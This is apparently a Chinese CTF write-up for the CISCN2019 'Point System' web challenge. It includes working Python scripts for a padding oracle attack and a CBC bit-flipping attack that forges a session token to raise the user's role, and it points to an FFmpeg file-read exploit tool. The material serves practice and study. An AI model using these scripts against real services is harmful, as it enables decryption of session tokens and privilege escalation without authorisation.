刷题记录：[CISCN2019 东北赛区 Day2 Web3]Point System
- 知识点
- 总结

刷题记录：[CISCN2019 东北赛区 Day2 Web3]Point System

题目复现链接：https://buuoj.cn/challenges

参考链接：CISCN 2019 东北赛区 Day2 Web3 WriteUp

Padding Oracle Attack

拖了一个星期的一道题。。。真难

知识点

1、padding-oracle attack

Padding oracle attack详细解析

具体原理不说了，网上很多，我的理解就是：cbc模式的填充方式已知，我们可以构造密文中的填充，利用服务器对cbc模式解密失败和解密成功但是信息不符合两种情况处理结果的不同，从后往前一位一位爆破出一组明文，再修改这组明文来爆破下一组明文。

利用条件：

攻击者能获得密文以及IV
攻击者能够触发密文的触发过程，且能够知道密文的解密结果

以下是我在赵师傅脚本基础上写的python3脚本，踩了不少坑，尤其是byte和str类型，python2中不显式区分byte和str，但是python3中两种类型完全不能混为一谈

import time

import requests

import base64

import json

host = "0b940989-8cd4-4990-955c-62272a7ba9a5.node2.buuoj.cn.wetolink.com"

port = 82

def padding_oracle(key):

    user_key_decode = base64.b64decode(key)

    user_key_json_decode = json.loads(user_key_decode)

    signed_key = user_key_json_decode['signed_key']

    signed_key_decoded = base64.b64decode(signed_key)

    #print(signed_key_decoded)

    url = "http://" + host + ":" + str(port) + "/frontend/api/v1/user/info"

    #print(signed_key_decoded)

    # b'ICxkSingDanceRaPY\xac\xad>\xe4h]\xd0[\xfa(_\xb5*N(&\xc8\xc62\xd1\x06>M\xe2\xb7\xdaLEz\x8cd\xfd\x8e\xb2\xde\x19\xbf\x84\x15\xbe\x88\xb8\xae*\xfb\x0c)#\xbeT\xf0\x89\x14\x8e\xce\x96\xb4\xbf\x1aV\xbcU\x98ns;\xf9\xfb\xcb\xf7Z\xb0\x88\x1c\xd4\xa6D\xd2\xa5\x00^\x03\xbd\x1e\xa5\xd1\x19Tf=3g\xcd\xd7\x88'

    # print(len(signed_key_decoded))

    # 112/16=7

    N = 16

    total_plain = ''

    for block in range(0, len(signed_key_decoded) // 16 - 1):

        token = ''

        get = b""

        cipher = signed_key_decoded[16 + block * 16:32 + block * 16]

        for i in range(1, N+1):

            for j in range(0, 256):

                time.sleep(0.1)

                padding = b"".join([(get[n] ^ i).to_bytes(1, 'little') for n in range(len(get))])

                c = b'\x00' * (16 - i) + j.to_bytes(1, 'little') + padding + cipher

                #print(c)

                token = base64.b64encode(c)

                user_key_json_decode['signed_key'] = token.decode("utf-8")

                header = {'Key': base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))}

                res = requests.get(url, headers=header)

                #print(res.text, j)

                if res.json()['code'] != 205:

                    get = (j ^ i).to_bytes(1, 'little') + get

                    print(get, i)

                    break

        plain = b"".join([(get[i] ^ signed_key_decoded[block * 16 + i]).to_bytes(1, 'little') for i in range(N)])

        print(plain.decode("utf-8"), "block=%d" % block)

        total_plain += plain.decode("utf-8")

        print(total_plain)

    return total_plain

plain_text = padding_oracle(

    "eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWldiMU1CUTNxVEplL2lGcExsbTlUNGxFQkZrOFNmQ1lvRW96MTdMQlpjV25VOS92WkxuMHBiVVliakF3RUJqV0s1ZldXb3ZIeG1JRG9wRHFHTVFjQ0tBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiMVU1Rm0zWGk3VE12dllGaFZxQkluVWZ2MGJxNEFpTWYiLCJleHBpcmVfaW4iOjE1NzA1MjU0MTB9")

print(plain_text)

爆出结果

2、cbc字节翻转攻击

CBC翻转攻击，了解一下！

这个不难理解，直接贴脚本了,同样是python3的

import time

import requests

import base64

import json

host = "0b940989-8cd4-4990-955c-62272a7ba9a5.node2.buuoj.cn.wetolink.com"

port = 82

def cbc_attack(key, block, origin_content, target_content):

    user_key_decode = base64.b64decode(key)

    #print(user_key_decode)

    user_key_json_decode = json.loads(user_key_decode)

    signed_key = user_key_json_decode['signed_key']

    #print(signed_key)

    cipher_o = base64.b64decode(signed_key)

    #print(cipher_o)

    if block > 0:

        iv_prefix = cipher_o[:block * 16]

    else:

        iv_prefix = b''

    iv = cipher_o[block * 16:16 + block * 16]

    cipher = cipher_o[16 + block * 16:]

    iv_array = bytearray(iv)

    for i in range(0, 16):

        iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])

    iv = bytes(iv_array)

    #print(iv)

    user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher).decode('utf-8')

    return base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))

def get_user_info(key):

    r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info", headers={"Key": key})

    if r.json()['code'] == 100:

        print("获取成功！")

    return r.json()['data']

def modify_role_plain(key, role):

    user_key_decode = base64.b64decode(user_key)

    user_key_json_decode = json.loads(user_key_decode)

    user_key_json_decode['role'] = role

    return base64.b64encode(bytes(json.dumps(user_key_json_decode), 'utf-8')).decode('utf-8')

user_key = cbc_attack(

    "eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVS\

HNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4Lysx\

WldiMU1CUTNxVEplL2lGcExsbTlUNGxFQkZrOFNmQ1lvRW96MTdMQlp\

jV25VOS92WkxuMHBiVVliakF3RUJqV0s1ZldXb3ZIeG1JRG9wRHFHTVF\

jQ0tBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiMVU1\

Rm0zWGk3VE12dllGaFZxQkluVWZ2MGJxNEFpTWYiLCJleHBpcmVfaW4iO\

jE1NzA1MjU0MTB9", 0, '{"role":3,"user_', '{"role":1,"user_')

user_key = modify_role_plain(user_key, 1)

print(user_key)

得到结果后修改cookie

3、FFMpeg文件读取漏洞

找到篇paperFFmpeg 安全问题讨论

差不多看看就行了。。。发现这种漏洞的是什么样的神仙啊

github上有工具https://github.com/neex/ffmpeg-avi-m3u-xbin

flag会被写进视频里

总结

buuctf的题好难。不谈知不知道这些漏洞，问题是看题目的时候怎么想到这里有这个漏洞的呢，尤其是这个视频处理，那个界面这么多选项，怎么就知道是视频处理有问题呢，真就“经验”呗

巴特西

刷题记录：[CISCN2019 东北赛区 Day2 Web3]Point System

刷题记录：[CISCN2019 东北赛区 Day2 Web3]Point System

知识点

1、padding-oracle attack

2、cbc字节翻转攻击

3、FFMpeg文件读取漏洞

总结

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